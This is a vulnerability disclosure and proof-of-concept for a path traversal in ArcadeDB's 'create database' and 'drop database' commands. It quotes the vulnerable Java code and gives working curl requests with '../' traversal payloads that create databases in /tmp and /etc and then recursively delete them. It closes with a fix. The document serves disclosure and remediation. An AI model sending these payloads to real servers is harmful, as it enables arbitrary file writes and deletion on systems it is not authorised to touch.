
Proof-of-concept for CVE-2026-75855, a path traversal in ArcadeDB's create/drop database commands allowing arbitrary file write and delete outside the configured directory.
Path Traversal in "create database" / "drop database" server commands allows arbitrary file write and delete outside the configured database directory
The POST /api/v1/server endpoint's create database and drop database commands use the caller-supplied database name to build a filesystem path with no sanitization, normalization, or containment check. A user authenticated as the ArcadeDB server's root account can supply a name containing ../ sequences to make the server create (and later delete) an entire database — arbitrary files and directories — at any absolute filesystem path the server process can write to, completely outside the configured arcadedb.server.databaseDirectory.
This was verified live, twice independently from a clean state: a crafted create database command wrote real database files into /tmp/ and, in a separate test, into /etc/; a matching command with the same traversal string then recursively deleted the directory.
drop databaseserver/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
The only validation is a non-empty check. databaseName flows unmodified into ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
This is raw string concatenation, not a Path.resolve() + containment check. DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) never calls .normalize() or verifies the resolved path stays under the intended base directory before create()/open() write the on-disk files.
dropDatabase() has the same lack of validation, and since the server tracks the database under the literal (traversal-containing) name the caller supplied, a subsequent drop database recursively deletes whatever directory create database wrote to.
checkRootUser(user) is enforced before both commands, so this requires the server's root account — but root here is ArcadeDB's own application-level superuser, not necessarily the same trust level as OS/shell access to the host. Breaking the containment of databaseDirectory lets that application-level account write and delete arbitrary files anywhere the JVM process has OS permissions for.
Environment: ArcadeData/arcadedb @ commit 545e703, built from source (./mvnw -pl engine,server -am install -DskipTests), run standalone with arcadedb.server.rootPassword set and arcadedb.server.databaseDirectory=/databases.
Confirm the intended database directory is empty.
Send a create database command with a traversal payload:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal — a full, real ArcadeDB database. The intended databases/ directory remains empty throughout.
list databases returns the literal traversal string as the registered name, confirming zero normalization:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
Repeated with a deeper traversal to /etc/arcadedb-poc2 — succeeded identically, demonstrating the write is not confined to /tmp or any particular filesystem area, only to whatever the process can write. Also reproduced with a minimal single-level ../ traversal, confirming genuine path escape rather than a coincidental result.
drop database with the same traversal string recursively deletes the directory:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}; directory confirmed gone afterward.
create database) and arbitrary recursive deletion (via drop database) at any absolute path the server process can write to, entirely outside the configured databaseDirectory sandbox.Reject database names containing path separators (/, \) or .. segments outright (a simple allow-list regex, e.g. ^[A-Za-z0-9_-]+$, is standard for this class of identifier), and defensively resolve the final path with Path.resolve(name).normalize() and verify it still starts with the configured base directory before any file operation, in both createDatabase and dropDatabase.
Credit: Pervin Zahidli (@ech0void )